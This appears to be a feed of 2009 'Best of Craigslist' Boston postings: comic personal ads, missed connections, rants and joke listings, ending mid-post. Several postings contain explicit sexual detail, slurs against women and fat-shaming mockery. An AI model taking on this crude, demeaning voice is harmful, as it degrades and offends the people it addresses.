Best of Craigslist

Best of Craigslist http://www.craigslist.org/about/best/ Best postings from craigslist.org, selected by readers en-us Copyright 2009, craigslist.org webmaster@craigslist.org webmaster@craigslist.org http://www.craigslist.org/about/best/ Best of Craigslist Collection 2009-08-14T16:24:59-04:00 2 daily The Truth About Me http://www.craigslist.org/about/best/bos/1323453510.html I am fucking pathetic. I don't own a Bugatti Veyron. I do have a negative savings and as you'll find--- I am the ONLY GUY HERE whose cock is NOT bigger than Lexington Steele's. Read on if losers of my ilk are your type-otherwise return to the regularly scheduled programming of 9/11 conspiracy, fat chick fellatio, Obama-Osama axis of Evil, and baseless racial bias. I don't give a fuck. Proceed with caution as the truth MAY set you free.....or perhaps set you with me...I can hope. Like everyone else I need to get laid, or at least have some social outlet other than, well, myself..... It's that time; I'm feeling that special sexy non-std'd itch, and why not share a bit about me with you deviant fiends? Who knows, perhaps there's a similarly pathetic female out there????? Yeah, I suppose that perhaps this appeal is not-strictly platonic so I couldn't post there, all the dudes in M4W have cocks like giraffe's so I'm too embarrassed to post there, but my thoughts are as follows. All things should and do start as platonic, as such my appeal can be posted here or there, I settled on here as you are reading RnR and not one of the blatant post for sex sites BUT you may consider options.... If you disagree with my rather circular logic---fuck you. You'll keep reading anyway. Gay guys, I know you guys troll around here-you've written me shameless (blush inducing) pleas to let you suck my cock--thanks-but no, while I have no issue with your proclivities, I am not interested in a chap wearing, Rammstein blasting, choke collar wrapped around my neck, leather clad night of sodomy in a converted loft. Though tell me, is it queer that I own a Greek fisherman's hat and listen to early Judas Priest? I flatly refuse to accept there is any homosexual undertone anywhere in "Hellbent for Leather". Prove me wrong-I'll accept failure. London Leatherboys. About me: Unemployed by choice, 4" COCK. It's as thin as a shish kabob skewer. Yeah, I've a couple of snazzy degrees, I hate walks on the beach, prefer chicks that don't cry. I DO KICK ASS AT BOGGLE. If you beat me, say best of five, you can have my original Boggle set (with box). I posses an ENORMOUS porn collection (Jake Malone's work is my favorite), school debt that equals the GDP of Taiwan. Lest I forget---two kids from the three women I've slept with-one is half black and may end up being the President in thirty years. Yeah, I'm sort of like Tom Brady-with a shitty spiral and two criminal liens made possible by the duma-esque welfare fraud state Massachusettstan. Things I do for fun: 1. Go to Barnes and Noble and complete the logic section (NOT WITH A NUMBER 2 PENCIL--I USE A FELT TIP PEN BITCHES) in LSAT prep. books.....then return completed test/text to shelf. Some good that 164 has done me. Put a logic game in front of me and I'll slam it, just about anything else, I'll fuck up-even wet dreams. 2. Pickled carrot eating contests-to the point of diarrhea,vomit or ideally both. My farts are consistently stinky and loud. I take pride in the simple things, like farts, and it seems my flatulent remains a point of personal pride. Take pleasure where you get it bitches. 3. Strip joints. 4. I avoid all family gatherings---together we'll avoid yours. Be honest, if there was no biological connection to the members of your weed like family tree, would you deal with any of them? You might say 'yes.' No one believes you----especially them. Hateful lecherous bastards, their fucking kids don't even write 'thank you' notes. 5. Attend open houses, tell the sellers their property sucks, then request to use their bathroom. They say yes, I enter,give birth to a skunk (never flush-fuck wiping, though if you're into giving rim jobs, I'll wipe) then jerk off onto their mirrors...then split. If the Realtor is a female, I will get her card and taunt her with "yes, an offer is on it's way....should we meet for lunch?" Being creepy is not a dis-qualifier in this (go) down market. Fuck it, next weekend I'll wear a speedo and sleeveless tie dyed jeans vest (nothing under it) to an open house somewhere snazzy. 6. Return to Barnes and Noble-Direct to feminism section. Pick up some Susan Brownmiller bullshit and start uttering "CUNT" at audible levels. If lucky, some patchoulie stinking Barnard classics major will be near by. I'll do my best to convince her we should fuck--for some reason the tactic has not borne fruit. Though I will masturbate about the Martha's Vineyard vacationing liberal arts graduate whore that night. While thinking of her, I'll listen to early Venom ("At war with Satan"), watch reruns of "Full House", have a belt wrapped around my neck and a thumb buried in my ass. Surprisingly, these onanistic Bacchus sessions are leaving me both exhausted AND fulfilled. IN BEST CHINESE WAITER ACCENT "Try you like" There, finally an honest personal add, where are the e-mails cunts? All I've got is time, and a year's worth of dried semen on my hands. Come join me in my private Idaho---you fucking hateful culture whores. We'll ride the hate bus over these troubled waters together! Cumbaya-I am Lord Cumbaya This type of honesty is cathartic. I encourage you all to do the same, this way, there will be no surprises when the veneer of early dates wears off and the stinky mess that is human coupling is exposed for the fiscal fuck farce it is. Let's do this-I'm ready, are you? <ul> <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2009-08-14T16:24:59-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/1323453510.html The Truth About Me text Confessions of a...... http://www.craigslist.org/about/best/bos/1316839187.html To the average observer I am an optimistic 32 year old woman who was raised by two wonderful parents, who holds a job, enjoys a drink from time to time, laughs out loud, is independent, has a strong desire to achieve in her life, works hard, appreciates her friends and family, has strong convictions, is compassionate, and honestly is a great person. People enjoy my optimistic, happy go lucky attitude. My sense of humor, all be it unique, has offered many laughs, sore bellies, and tired cheeks; life tends to be a perpetual comedy show from my perspective. In my career I have grown quickly within organizations, my natural leadership qualities pulling me to the top as if floatation devices in the sea of corporate bliss are attached to my work product. I live a healthy lifestyle – I eat right, skip the desserts most of the time, indulge on occasion, run approximately 25 miles a week, kayak, love to camp, love to cook, and I’m not afraid of a little dirt under my nails. Throughout my years I have changed my own flat tire, babysat children, fixed the kitchen sink plumbing, hugged my mother and father, renovated a house, cleaned toilets, supported my brother and sister, tended to a garden, bantered with the neighbors, dressed up for a night at the theatre, and spent time at professional networking events. People have told me I’m quite the “catch” yet I am modest by nature. I’ve been in relationships and I have never strayed - never even considered it, as I’m quite the believer in love. To the average observer, I am normal – for lack of a better word. Only I know the truth. I’m a craigslist slut. I can’t help it and I have had quite a bit of fun along the way. I have responded to personal ads, and even posted a few of my own – all casual encounters, mind you. Some of the men lack the intelligence to keep my mind engaged in simple email banter, so I politely tell them “thank you but no thank you.” Some men I simply email with; some men I have met. I’ve fucked younger guys (who are fun in their own innocent way, even though they think they are badass lovers – it’s cute and endearing) and older guys (there’s some fucking sensual, talented men out there) and guys around my own age (got to love the pussy hungry 30/40-somethings). Some of the men I’ve met are good looking, some super effing hot. Some of them are not even close to what their pictures represent. Some of them are weirdos, complete effing weirdos and some of them are your average American males. Some of them can fuck; some of them could not fuck. One guy shaved his entire body, entirely. One guy probably never trimmed his pubs once in his life. One man I met had a huge cock, but could not keep it up and hard when it came to actually inserting it into my pussy. He preferred to jerk off and have me watch. Amusingly I watched, and let him cum on my face. I found this weird, but he got off, so I let him think I was having as much fun as he was. He could lick pussy, so I wasn’t complaining, either. Another man I met for drinks and he went down on me in the parking lot. We met another time at his place and fucked for hours. He could also lick pussy. One guy wanted me to fuck him with a strap on – so I did. I thoroughly enjoyed it – now I know why you fellas like doggie style so much – what a view. One man photographed and sketched me. Another man I met had the excitement of a child on Christmas Eve. He could barely contain himself – I went to the bathroom and he was shouting “Yes! Yes! Oh my god, this is really going to happen!” to himself, not knowing I could clearly hear every single word. We made out like we were lovers in love; his touch was electrifying. He is now a Top 5 Pussy Licker in my book of lovers. Met one guy for drinks, he took me back to his place and never laid a hand on me. As I was getting up to go he attempted to make out; I told him not to wait until I was leaving next time. We’ll see if he calls. One guy was so fucking hot (tall, built, full of muscles, biggest cock I’ve ever had the pleasure to suck and fuck); we had wild uninhibited sex all night. He smelled so good I went to work the next day without showering so I could get a whiff of his man scent throughout the day. His pheromones were so strong I can still get wet thinking about how fantastic he smelled. I would have made him my n.s.a. lover – but strangely he never returned my callback even though he texted me the next morning and mentioned how he was still throbbing – why men do the things they do simply isn’t worth the effort to figure out. One guy met with me, and his girlfriend was (unknowingly to me) across the bar; it was a set up to see if I’d be into a threesome – I could see through their scam, but I liked their creativity so I played the dumb blonde card and let both of them lick my pussy and pinch my nipples. One guy loved nylons, so I wore a short skirt with thigh highs and let him finger me under the table at a busy restaurant; no one suspected a thing, except the waiter who winked at me on my way out the door. One guy just wanted to give me a massage; so I let him. It was so good I sucked the cum right out of his cock as a thank you. I’ve sucked huge cocks and not so huge cocks. I’ve had many, many orgasms. Burned many a calorie. I’ve experienced different kinds of lovers, fetishes, and sexual likes/dislikes. It has been an educational experience to say the least. I believe each situation was a win-win for the involved parties. I’m a self admitted Craigslist slut. Call me what you will, send me what you will – but know that honestly, I don’t give a shit what you think of me. I’m confident enough in myself that words will never hurt me. Judgments – never needed them in my life, so a judgment from a stranger means nothing to me. I’m an empowered single woman with a high sex drive; I’m simply doing the best I can to quench my sexual urges and having tons of fun along the way. I always practice safe sex. If I wanted a relationship, I could have one – but I’m enjoying my first single summer in many, many years. I’m enjoying the shit out of being a CL slut. I love my life. Let me close with a big ol’THANK YOU Craigslist! You have made this one hot steamy summer. I appreciate what you have done for me…… <ul> <li> Location: Craigslist Slut <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2009-08-10T23:34:52-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/1316839187.html Confessions of a...... text To the cute girl who just previewed our apartment, i'm sorry. - m4w http://www.craigslist.org/about/best/bos/1275555686.html Hey! You just left our apartment with your broker and cute friends. You know, it was the one where the power had just died and you guys were knocking on our decoy door. My roommate and I both proclaimed an infatuation with the lot of you when you left! I have one problem though... you came in, saw my bedroom, the terrible state of our bathrooms, piles of videogames and the fact that I sleep on the floor. Please allow me to rationalize the situation. The bedroom - Well, I haven't cleaned in weeks and I'm at the tail end of the laundry cycle. This is usually accompanied by a rather large and unkempt pile of clothes spilling out of the closet onto the floor. This Friday was no exception. The bathroom - I am sorta glad that the power was still out for that portion of the tour. The flashlight you had certainly did not provide enough light to get a full realization of JUST how much dirt was crusted in the corner behind the door. It just doesn't get foot traffic, and normally the door it open and it's hidden from view. The videogames - Well. I play a lot of videogames. But I do a lot of other things too, I swear! The Sleeping on the floor - See above, I'm too busy doing other things than to sleep on a "bed". Pfft. Getting UP in the morning isn't a challenge when you're on top of a 4 foot tall pillowtop that requires a fireman's pole to dismount. It takes gumption to sleep on the floor! I am glad I deftly planted that Vonnegut book by the overflowing hamper that you casually noticed, as well as that bass guitar. If I had known you were coming, I would have hid the floormattress and pretended that I didn't live like a hobo, but I am glad you didn't because apparently you are of the same persuasion! Anyways, you seemed cool and I feel that it's totally unfair that you got to root through the kinda things (bathroom, sleeping area, embarrassing hobbies) that usually don't crop up until the second or third date. That being the case, I think you desperately owe some reciprocation! <ul> <li> Location: Cambridge <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2009-07-17T20:05:33-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/1275555686.html To the cute girl who just previewed our apartment, i'm sorry. - m4w text You threw your lit cigarette at my face outside Starbucks - m4w http://www.craigslist.org/about/best/bos/1268240830.html I'm sorry I wasn't able to stop and chat --- I was in such a rush to do my errands --- but you too seemed to be in a giant rush to run inside and grab your extra-whip venti white chocolate mocha. You were in such a hurry that even after your friend pointed out how close your cig came to burning my face, you didn't have time to say "sorry" or "excuse me." Anyway, I just wanted to write to let you know how much I love it when Big Beautiful Women wear pajama pants/tee-shirt ensembles out in public. It conveys a postmodern "I've totally given up on life" attitude that so many men find intoxicating. Additionally, your hair was exquisite. I can tell that your life is so full of fun and adventure that you don't even have time to buy a bottle of Prell, but there's nothing more exciting than a woman on the go. Listen, I'm sure you have far too many male suitors for you to even consider reading Craigslist missed connections, but on the off chance that you see this and you haven't been felled by heart disease or any of the myriad cancers you're courting ... I'd love to take you and your slightly less-hot friend to dinner. We'll have all the things you love! I envision beginning with some wings, then moving on to a few chicken parms, some buckets of General Tso's, even more buckets of the Colonel's extra-crispy, a jalapeno-popper palate cleanser, followed by approximately 27 stuffed-crust pizzas, as many McDonald's #2 value meals as you can eat before you get bored, and finally a jaunt to Cheesecake Factory for dessert. And at the end of the night, if you're still hungry (no doubt about that) and feeling in the mood (fingers crossed!), we can end with some edible underwear and a Colt 45 fountain. Looking forward to hearing from you! <ul> <li> Location: Harvard Ave at Thorndike, 7/13 <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2009-07-13T17:23:52-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/1268240830.html You threw your lit cigarette at my face outside Starbucks - m4w text Beautiful House to Share with Two Girls http://www.craigslist.org/about/best/bos/1259077657.html Hi everyone, We have a beautiful 3 Bedroom, 1 1/2 Bathroom located in Back Bay. About US: We are two girls entering our senior year of Emerson College studying journalism. We are laid back, studious, and very friendly. Ideal roommate: Somebody laid back, social, and responsible. P.S. Both of us are bi-sexual and sometimes host dildo parties with our girlfriends. Don't worry, it is usually about 10 people in one of our bedrooms. Let us know if you are interested. <ul> <li> Location: Back Bay <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2009-07-08T07:09:08-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/1259077657.html Beautiful House to Share with Two Girls text I caught you spanking it on the Charles yesterday - w4m http://www.craigslist.org/about/best/bos/1257017726.html Dont know if I caught you or you deliberately caught my attention- sooo...it was a gorgeous day and if I had a penis, i'd probably be out there, enjoying the day and whacking off too-but not for a passerby's benefit- and the funny thing is that I was so totally horny too..the thought had crossed my mind to go over there and randomly fuck your brains out and then continue on my way as if nothing happened (I might have had my own masturbatory fantasy about it later that night) but you looked like a total goober, (especialy with the ridiculous mastaburatory face you were making) and you are obviously are a spaz because you have to get off on trying to shock and offend people.. you didnt shock or offend me-it was just another random, fucked up thing in my day. thanks, i think <ul> <li> Location: me-the water u-the shore <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2009-07-06T22:47:01-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/1257017726.html I caught you spanking it on the Charles yesterday - w4m text Wanted: G2 type star http://www.craigslist.org/about/best/bos/1250772296.html An opening has appeared since the current one hasn't been seen in over a month. We assume she's left. Must be at most 4.5 billion years old and have experience radiating light. Must be well behaved. Stars with unpredictable periods not welcome. Must work on July 4th. Send pics and measurements to the address above. <ul> <li> Location: Sol <li>it's NOT ok to contact this poster with services or other commercial interests <li> Compensation: no pay </ul> webmaster@craigslist.org 2009-07-02T15:56:52-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/1250772296.html Wanted: G2 type star text Dear MBTA riders http://www.craigslist.org/about/best/bos/1213880553.html Dear MBTA riders, That sucks about the fare hike huh? Anyway let's talk about proper transit etiquette when one is crammed onto a metal tube with a bunch of strangers, yeah? 1) When you're about to get on a train, you need to realize people are getting off of it. Wait your turn, the train conductors stick their heads out the window looking for people like you, they see you, they're not going to pull away while you're half in the door, even if some of you deserve it. 2) If you're sitting in a handicap seat and you're not handicapped or disabled in any way, you're a dick. Get up and let the elderly person, the guy in an air cast or the pregnant chick sit down. Drunk Sox fans don't count as being disabled, even if they can't walk. 3)Those seats are damn tiny, but they're not urinals. Somehow men seem to play the 1, 3, 5 game with the seats and it's not cool. Guys, you're big and strong and can't possibly be expected to close your legs for fear of damaging your junk. But maybe you could make the exception during rush hour when there are 3 seats in a row and nobody can sit down because your legs and arms are splayed open like the Vitruvian Man. 4) Public transit is one of the last large, government run facilities that does not subject people to searches and carry on scans.We'd like to keep it that way, so please stop being crazy and scaring us. Understand that some people can be paranoid if you're yelling incoherent swears, punching walls randomly or just sitting and simply giving off an aura of violence and have crazy eyes. You know who you are. Get off the train and go calm down and come back when you're not making teenage girls from the suburbs piss their pants. 5) Speaking of teenage girls from the suburbs: I know that riding the train is like probably the coolest thing ever and you have to take pictures for your Facebook profile to put in your **~BOSTOONNNN~** album but try to keep the squealing and braces snapping to a minimum. If you get lost, ask someone in an MBTA uniform where you should go instead of helplessly wailing "Oh my GOD where are we? Oh my god we're going to be killed, we're in Mattapan!" 6) A special note for Red Sox/Bruins fans: Similar to the above statement, we can tell by your dress and your wide eyed, slack jawed expression that you are not used to riding the train and you are so totally lost. There are signs all over the damn place that tell you to take any train except E to Kenmore. I know you're in the big city, but you do not have to act like you think a city dweller acts. We don't knock people the fuck over to get a seat, nor do we Purel every visible skin surface after touching the rails and glare at everyone who nudges us. Newsflash: the train isn't normally this crowded, it's hot and stuffy and packed because of YOU. Have some courtesy, people who are not dressed in head to toe Red Sox gear are probably sick of your shit. Also, Teenage Boys in Nautica Hats and White Jordans: We know you're drinking. You smell like the Captain Morgan's your big sister bought for you. Work on not puking or peeing in your McDonald's cup, and stop swinging from the overhead rails. Otherwise, carry on. 7) Some people I think have attachment issues and seem to be confused about what constitutes a companion. Your lunch box, purse, briefcase and coat do not a person make. Therefore, don't give them their own special seat. There is also no such thing as an Invisible Man, if there is an empty window seat next to you on one of the older green line trains, you need to move in. Small Asian girls with headphones, I'm talking to you. 8) For people with large packages like luggage, baby strollers, huge instruments etc.: I feel you. People are rolling their eyes and sighing and shit but seriously do they want to pay for your cab? What are you supposed to do, stick your baby in the diaper bag and put it on your lap? Or leave your luggage on the plane after what I'm sure was an annoying flight filled with even more assholes than this train? Nope. Tell them to suck it, and to clear a path when you're trying to get off the damn train. See #1 for info on these tards, they're not easy to get around. 9) Don't be so nervous when Spare Change Guy asks you if you have any spare change in that delightful rasping way of his. He's used to being turned down, someone eventually gives him money. I saw a guy get so flustered one time he dropped his briefcase and change went flying everywhere. Spare Change Guy had a field day with him. 10) People generally like to sit and behave themselves on the train. Wherever they're headed, they probably would rather be somewhere else, like home in bed or at the park with their kids or drinking alone in their living rooms. But we all have to deal with each other for these periods of time every day and night and it would be nice if everyone made an effort to stop being so aggravating to everyone else. So, if someone is wearing headphones or reading a book/newspaper, they're probably not looking for a conversation. Leave them alone. Girls don't come on the train to find boyfriends, stop telling us how damn fine we are and that we should be models. Once a comment like that is in the air, you're stuck on the train with that person at least until the next stop and it's awkward for everyone. If someone is sleeping soundly, let the poor guy sleep. He's probably tuckered out from trying to maneuver his way around Red Sox fans. And if someone is truly in need of a seat, or needs help with their groceries, or can't make the step up onto the train, help them out. Good Karma goes a long way and it's about time everyone stopped pretending they're the only person on the train that matters. Sincerely, A Frequent Rider. PS I look forward to all of your replies telling me to go fuck myself. Carry on posting pictures of boobs and talking about Adam Lambert's sexual orientation. <ul> <li> Location: Boston <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2009-06-09T20:23:38-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/1213880553.html Dear MBTA riders text Re: Time machine http://www.craigslist.org/about/best/bos/1124141068.html It would be very difficult, but here is a diagram to get you started. <img src="http://www.hdrenterprises.net/img/c.Diagram%20(Page%202).gif"> <ul> <li> Location: Boston <li>it's NOT ok to contact this poster with services or other commercial interests <li> Compensation: no pay </ul> webmaster@craigslist.org 2009-04-15T17:41:01-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/1124141068.html Re: Time machine text Free One Night Stand http://www.craigslist.org/about/best/bos/1107675884.html One night stand going to trash Monday if you want call Sunday Steve [phone deleted] <ul> <li> Location: Billerica <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2009-04-04T23:41:28-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/1107675884.html Free One Night Stand text I HAVE SNACKS GET IN MY BED http://www.craigslist.org/about/best/bos/1096925002.html I HAVE CHIPS AND CANDY AND MY BED AND IM SO TIRED BUT YOU SHOULD COME SPOON ME COME HERE IN MY BED WE CAN LISTEN TO SWELL MAPS AND PLEASE BE PRETTY IM OKAY LOOKING NO BOANING DONT EVEN THINK ABOUT IT UNLESS I FALL IN LOVE WITH YOU SOMEDAY, BUT NOT NOW. T ACCESSABLE I HAVE A BATHROOM SNACKS WOOF WOOF (DOGS OKAY) PURR PURR (CATS OKAY TOO!) BRING BEER ALSO UM MAYBE MORE SNACKS. NOTHING CHEESY UM BYE <ul> <li> Location: JP <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2009-03-28T21:29:09-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/1096925002.html I HAVE SNACKS GET IN MY BED text You: Slipping On Ice Carrying A Scalding Hot Cup Of Dunkies - w4m http://www.craigslist.org/about/best/bos/1014170655.html Me: Predatory Photographer Who Had Recently Slipped On The Same Ice, Camped Out There With My Camera, & Waited For Another Accident. Yeah, you may say that's kind of dirt baggy but you gotta admit I got some great photos. And hey, it was published in the Boston Globe and quickly became a popular internet meme as well! I must have seen my photos on 5 separate message boards yesterday just minutes after they were published. I probably should've shouted out, "Hey, that ice is fucking slippery!" instead of crouching down with my Nikon and snapping away even once your head had bounced off the glacial pavement but, you know, whatevs. Point is--- I dig your shit. Let's meet up and slow dance sometime. I'll dress your coffee burns too. <ul> <li> Location: Boston <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2009-01-30T15:01:20-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/1014170655.html You: Slipping On Ice Carrying A Scalding Hot Cup Of Dunkies - w4m text Vintage British 3 Speed Bicycle, Very Nice! - $30 (Dover) http://www.craigslist.org/about/best/bos/997600199.html Perfect for commuting and just leaving outdoors. Great for everyday use. Great "Winter bike" I cant remember if it is a Mens or a Womens, but I know its a 3 Speed. Pick up only. Bring a shovel. <img src="997600199.jpg"> <ul> <li> Location: Dover <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2009-01-18T11:49:31-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/997600199.html Vintage British 3 Speed Bicycle, Very Nice! - $30 (Dover) text My 25 40/M plus extra http://www.craigslist.org/about/best/bos/965689143.html 1. I love my wife. 2. I would never cheat on her 3. After a decade together, I still fantasize about her when I'm alone 4. Our baby is beautiful. 5. Wife has 6 pack abs again 6. She makes the effort 7. And so do I 8. We appreciate each other 9. And work together 10. And stay sexy for each other 11. And fantasize together 12. And motivate each other 13. We don't watch TV 14. TV is distractive shit 15. Instead we talk 16. We eat together 17. And listen to each other 18. I love it when she rubs my neck when I'm driving 19. She loves it when I rub cream on her feet 20. I leave the seat down 21. Sometimes she makes me a sandwich 22. I brush the snow off her car 23. She surprises me with sexy things 24. We met at the Roxy 25. I still have her phone number she gave me My advice for fellow men posting to R&R (or just in general): 1. Don't complain about how your wife or gf treats you. Is there a reason she treats you that way? Put down the remote and work on it with her. Go to therapy. If you can't work it out, separate and get on with your life. 2. Don't brag about cheating on your wife. That's a lame thing to do. Real men don't brag about cheating on their spouses. When you brag to strangers online about cheating on your wife, you've reduced yourself to the lowest form of shit imaginable. 3. Don't post cock pics. It's lame. If you want to be with a woman, take a shower, shave, get dressed, and go out and meet one. 4. Don't whine. Real men don't wine. They effect change. 5. Don't post porn. It's lame. We all know where to find it if we want to look at it. The woman in the picture won't magically appear in your bedroom if you post it. You have better things to do with your time than that. 6. Stop being hateful. It doesn't make the world a better place. it doesn't make you happier. Shut off the computer and work on making yourself a better person. 7. Stop being angry. You were born into a world with many problems, get over it. We all have problems. The sun doesn't rise and set on your ass. Work them out. Shut up and Do what you need to do. 8. Don't act like an asshole just because you happen to be with some assholes. Be a leader. Wake them up or find better friends. 9. Stop being led by your cock. Men who are slaves to their own cock are weak. Lead your cock, don't follow it. Master your cock instead of master-bating it. Silly insecure boys post messages asking women to show their tits. Be a man, use your big head, get off your ass and go out and meet a woman. Both you and your dick will be happier for it. 10. Don't troll for FWB if you are in a relationship. There is nothing more cowardly than to sneak around behind your spouse's back. If you want to play the field then stop being a louse, grow some balls, step up to the plate and tell your spouse or girlfriend that you want to move on. You don't want her to waste your time, so don't waste hers. Be a man. 11. Stop hating on fat women. Fat women aren't happy about being fat. They know what they're up against and they don't need your shit to add to the problem. They're not all lazy fuckers, they're often victims of stress and depression like you, except they turn it inwards instead of spewing written shit like you. Be an encouraging pen pal, not a verbal shitheel. 12. Stop spewing racist shit. It's another waste of your time. All the minorities around you are here to stay. Get used to it. 13. Stop spewing homophobic shit. One in ten are gay. That means someone in your own family. Probably you. Gay people want the same thing you do: nice neighbors, a wide screen TV, lower taxes, and a day's pay. What's the fucking problem. Your bullshit won't change anything. Get over it. My suggested goals for my fellow men: 1. Strive to be a man people want to be around. This means being congenial, fair, loyal, and honest. 2. Try to do something nice for someone at least once each day, even if it's as simple as holding a door for someone. 3. Decide what your principles are as a man and live by them. Make decisions using your principles instead of using fear, pain or pleasure. 4. Strive to exercise a few times a week. It keeps you fit and your mind clear. 5. Keep yourself groomed, clean, and neat. it will make you feel more confident. 6. You live in a marketing culture that tries to convince you that self gratification in all forms is the way to happiness. The real way to happiness is to give to others. Find a benevolent club, church, or organization. Join it and make a difference. Then you'll feel real happiness in spite of your other problems. 7. Shut the TV off. Find productive ways to spend your time. Any time you are about to do something, ask yourself first if you are just distracting yourself. 8. Don't spend your life distracting yourself from being something better. 9. Realize that everyday you are exposed to 3000-5000 advertisements. 10. Rise above the sea of bullshit around you. Be an island. 11. Stop worrying about keeping pace with your friends. Instead figure out what is important to you. 12. The world is full of creepy, insecure, arrogant, selfish, dishonest, and narrow minded men. You can be something better. As men, truths to heed: 1. You are allowed to feel emotion, smile, laugh, and have fun 2. Asking for directions is a sign of strength, not weakness 3. The measure of a man is how he thinks and acts, not about muscles or tattoos. Think about that. <ul> <li> Location: for men only <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-12-21T00:46:16-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/965689143.html My 25 40/M plus extra text Did you invent the crank flashlight? http://www.craigslist.org/about/best/bos/964542095.html If you are the inventor of the crank flash light then the following invitation is for you: Dear Sir or Madam, You are cordially, no affectionately invited to join me in my recently relit humble abode for a night of pleasure and thanks for your lovely invention. You see, I'm just now able to post my thanks for your wonderous device because I've been in total darkness for a week. Yes, that also means, no heat, no water (I have a well) and no light. Your ingenious devise allowed me to continue reading past 4:30 in the afternoon. I found that with 20 cranks, I was able to read 10 pages. That works out to 2 cranks per page. My right bicep also thanks you for keeping it from atrophy with all the cranking. My batteries gave out on day two, but you --- YOU MR/MS MASTER INVENTOR, were the reason I didn't kill anyone from the power dept. I was able to read "The Dance of Anger" and calm myself down. I'd switch things up, and turn to reading "The Sweet Potato Queen's Book of Love" which kept my spirits high waiting out the reemergence of light here in the house. So, name your pleasure, I'll surely grant what ever you desire. What ever your fetish, your kink, well it is mine tonight too. I'm in. My right hand is probably in the best stroking shape its ever been from 7 nights of cranking that little light generator -- see, another way to market your contraption. I'll be home all evening purging my fridge. I've already taken an hour long shower, so I smell good again. and oh, hey, one other thing you might want to invent. . . the wind up vibrator. . . I was kinda lost when the batteries died there too! Signed, Single, smelling good, and loving the light again! <ul> <li> Location: Merrimack Valley <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-12-19T21:39:20-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/964542095.html Did you invent the crank flashlight? text I've lost a dear friend and can't get over it http://www.craigslist.org/about/best/bos/951294386.html Last night I had lentil salad, corn chowder, and two bowls of 100% bran flakes. This morning, I had to get up at 4 am to poop what might have been the most beautiful log I have ever seen. It was dark brown with beige striping and little corn kernels here and there. It was a thing of beauty and belonged on a museum wall...god was it a work of art. Anyway, I stared at it for about 20 minutes. I couldn't bring myself to push the lever and let it go....at one point, I thought it was talking to me "....george, george, don't flush me....let's get together for a beer and talk this over...shall we?"....my god, am I going fucking crazy? Finally, I started talking BACK to the freacking poop....I said "Paul (that was his name, he told me so), Paul, I have to flush you, your just a piece of fucking shit.".....but then he said something that made me think...he said...George, if I were a piece of shit, how come I don't smell?"...and he was right....he had no stink!!!. So we talked for awhile, about the wife and kids, and his family, and the little poops. He told me they were all swell, except his inlaws were all diahrea..."aren't they all?" I replied. Anyway....we reached a lull in the conversation, and, without thinking, I reached over and flushed him. My god, the look of terror on his face is burned into my brain. I watched him grasp and grab at the side of the bowl as he whirled around....but he couldn't catch on...he just left brown streaks...and now that's all I have left of him. And I'm sad...and I miss him...and I want him back.... <ul> <li> Location: i need some help please <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-12-09T13:27:43-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/951294386.html I've lost a dear friend and can't get over it text Free Professional Pog Collection http://www.craigslist.org/about/best/bos/944842450.html FREE POGS - - I have approximately 20,000 Pogs organized by set and series, including extremely rare celebrity and political autographed Pogs, memorabilia, and accessories. Book value > $1,500. Getting married in a week and need to divest my home of this collection ASAP before my wife moves in. Please call ASAP. I am on the road all day today and I have them loaded in my car; will deliver anywhere in Boston today only. Serious inquiries only pls; ask for Melanson. <ul> <li> Location: Boston <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-12-04T13:16:52-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/944842450.html Free Professional Pog Collection text Why Spongebob Squarepants is the perfect girl for me. http://www.craigslist.org/about/best/bos/798916222.html I wrote this a few weeks ago, and I wasn’t sure what to do with it, or perhaps what to make of myself. This looks like the place. Here you go Craigslisters, I present my arguments, in bullet form, why Spongebob Square pants is the perfect girl. 1. He’s low maintenance. No matter what happens to him, he never needs validation from anyone, for anything. He never asks Patrick to tell him who he is, never uses his friction with Squidward to bolster his own ego. All his energy is focused outward, albeit usually with mixed (and hilarious) results. He never complains about those results either, just trudges ahead with blind, infectious optimism. 2. He’s a good cook. In fact, he makes unquestionably the best burger in Bikini Bottom. People come from everywhere to the Crab Shack for one of his Crabby Patties. How rare is a girl who can cook, and enjoys it? 3. He lives in a pineapple. Imagine having crazy sex in a giant pineapple. All that gooey, sweet, sugary awesomeness providing both full body lubrication and a certain fun kinkiness. Sex inside almost anything else wouldn’t be anywhere as much fun. An orange would sting. A tomato would stain. While we’re on the subject, do you want variety in your lovin? He’s got HUNDREDS of 